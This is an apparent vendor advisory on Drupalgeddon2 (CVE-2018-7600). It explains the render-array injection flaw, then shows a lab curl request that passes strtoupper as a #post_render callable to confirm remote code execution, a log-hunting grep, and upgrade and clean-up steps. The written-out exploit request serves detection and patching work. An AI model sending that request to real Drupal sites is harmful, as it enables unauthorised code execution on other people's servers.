Summary
Drupal's Form API describes form fields as nested arrays containing special keys prefixed with #. Values of keys such as #post_render and #lazy_builder are treated as callables during rendering.
CVE-2018-7600 exists because request parameters could become those special keys. A single request to a form that needs no authentication — registration or password reset — grants the ability to call functions on the server. Within hours of publication it was being mass-exploited for cryptominer deployment.
Responsible use
The output below comes from an isolated lab and deliberately uses a harmless function (strtoupper) for verification. No payloads that execute system commands are published.
Advisory details
Root cause: user input entering the render array
A render array in Drupal looks like ['#type' => 'markup', '#markup' => 'text']. The render engine treats the value of #post_render as a function applied to the final output.
While parsing a request, a key such as mail[#post_render][] lands directly in that array, so the attacker controls both the function being called and the argument passed to it. The fix moves sanitisation to the very start of request handling, stripping every key that begins with #.
Harmless verification
Start with the version. Drupal installations often leave CHANGELOG.txt readable, which is an information leak in itself.
analyst@ubuntu:~/labs/drupal$ curl -s http://lab.local/CHANGELOG.txt | head -n 4 Drupal 8.4.5, 2018-02-21 ----------------------- - Fixed security issues: see SA-CORE-2018-001 # below 8.4.6 — inside the affected range
Figure 1 — Determining the target's Drupal version
For verification we send a harmless function that upper-cases the #markup content to the registration form's AJAX endpoint. If the transformed marker comes back, the server is executing a function of our choosing.
analyst@ubuntu:~/labs/drupal$ curl -s 'http://lab.local/user/register?element_parents=account/mail/%23value&ajax_form=1' --data 'form_id=user_register_form&_drupal_ajax=1&mail[%23post_render][]=strtoupper&mail[%23type]=markup&mail[%23markup]=potrex-check-2026' [{"command":"insert","method":"replaceWith","data":"POTREX-CHECK-2026"}] # the marker came back upper-cased: our function ran on the server # system functions could have been called at the same point — RCE confirmed
Figure 2 — Proving code execution with a harmless function
Log hunting
Exploitation attempts leave a clear signature in access logs: element_parents=account/mail/%23value and URL-encoded %23 (that is, #) in parameters.
analyst@ubuntu:/var/log/apache2$ zgrep -hoE '^[0-9.]+ .*(%23post_render|element_parents=account)' access.log* | awk '{print $1}' | sort | uniq -c | sort -rn | head 214 45.90.1xx.37 88 185.234.2xx.11 9 10.10.4.22 # nine requests from inside the network stand out — IR engaged
Figure 3 — Source distribution of historical exploitation attempts
Remediation and verification
The fix is upgrading core to a patched release. After the upgrade the same request is rejected by the request sanitiser.
analyst@ubuntu:~/labs/drupal$ composer update drupal/core --with-dependencies && drush status --field=drupal-version Updating dependencies - Upgrading drupal/core (8.4.5 => 8.5.1) 8.5.1 # replaying the request now returns 200 but no transformed marker — injection gone
Figure 4 — Core upgrade and version verification
What patching does not fix
Drupalgeddon2 was mass-exploited within hours of disclosure. On a late-patched installation an upgrade is not enough: look for .php files under sites/default/files, scheduled tasks, new administrator accounts and modified settings.php.
Conclusion
The lasting lesson of Drupalgeddon2 is how thin the line can be inside a framework between data and data that becomes code. When user input can merge into a structure that carries configuration meaning, validation has to happen at the outermost layer of the request, before business logic ever sees it.
Sources
Test it in your own environment
We scan your legacy CMS installations and internet-facing applications and report findings with proof.